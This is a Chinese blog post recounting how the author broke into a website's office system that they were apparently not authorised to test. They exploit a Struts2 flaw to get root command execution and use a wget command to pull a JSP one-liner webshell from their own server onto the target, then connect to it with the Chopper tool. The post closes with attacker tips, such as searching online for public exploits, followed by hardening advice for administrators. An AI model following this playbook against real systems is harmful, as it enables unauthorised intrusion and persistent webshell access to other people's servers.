异世界

— 居正 And RUI_wj 's BLOG

记一次Struts2另类方法传shell的渗透

本人渗透小白,文笔也欠缺,有些地方大牛们可能会觉得很可笑,请谅解~~

【过程】

帮吧友搞一个网站,蜘蛛爬到了一个“办公系统”,如图:

看到没有验证码的登录窗口,第一反应是测试万能密码,测试宽字节注入,未果。放到burp里用弱口令字典爆破。

好长时间过去,没有什么结果。突然注意到地址栏,结尾是.action,脑子里马上想到struts2的漏洞。怀着侥幸的心理把网址放到工具里检测。

(截图是搞完之后截的)

 

 

哈哈哈,检测显示有这个漏洞,那么就好办了。马上执行了whoami看看权限。

 

居然是root权限!!管理员太不注意安全了吧。

 

经过测试我发现在/office/目录下,由于没有登录,输入任意地址都会直接跳转到登录页面,反正这个特性我不了解。经过ls,我看到webapps目录下有几个其他站点,姑且拿其中一个来传一句话。

我测试用工具上传一句话。发现不论怎么上传,ls之后目录下总是没有一句话的文件,试过了好几个工具依然如此。我想可能上传有问题吧,不过既然是root权限,于是就尝试用echo指令输出一句话

命令:echo "一句话代码" > c.jsp

命令是运行完了,回显也看到了,但ls后仍然没有我们的一句话文件。太奇怪了,难道是禁用了这些命令(小白乱猜)?

曾子曰:“不能吊死在一棵老歪脖子树上”(曾子:我什么时候说过...),这时候我想到了linux还有一个wget命令,可以远程下载文件到服务器上。或许我们可以借wget的东风?

我在我的php空间里上传了jsp一句话,由于我的空间是php的,所以jsp格式的文件不会被解析,从而可以直接下载。

运行命令:wget http://xx.xxx.xx/c.jsp -P /xx/xx/xx/ #wget里-P可以指定路径

运行完命令再ls一下,一句话文件终于出现了!直接访问一句话,出现500,不过这很正常,菜刀依然是可以连接的。赶紧拿菜刀试一下。

可以连接,可以执行cmd,权限依然是root。至此就不再深入了。

 

【总结&反思】

那我这个小白就学大牛们来个总结与反思吧。

对于渗透来说

1.学会以宏观的视角看一个网站,看到form就想到爆破的思想不正确。

2.试想如果我们不知道struts2漏洞,那么也不会有接下来的成功。所以要多读报,多读书对吧。一些cms同理,大部分漏洞在网上已经公开了,可根据关键点到百度或者谷歌上搜exp啥的。

3.如果一种方法不成功要用其他办法多试几次。其实也就是说平时要积累经验,熟悉一些linux语句很重要。

对于服务器管理来说

1.上面的服务器这种居然用目录来存放不同的站点实在不安全,当一个网站被K了其他的站不是也要遭殃?最好不同的站用不同的端口。

2.权限一定要认真设置。用root权限运行web服务很危险,这个是大家都知道的。还有就是要防止跨站。

3.作为管理员应该要多多关注自己所用程序的漏洞的情报,及时打上补丁。


 

  • 评论列表:
  •  小郑咩
     发布于 2018-08-05 20:34:17  回复该评论
  • 事实告诉我 Struts2 , Hibernate , jdbc连接池都是坑
    被这三个东西坑的次数还不少

发表评论:

Powered By Z-BlogPHP 1.5.2 Zero

搭建与于2014/12,RUI_wj 居正 所有。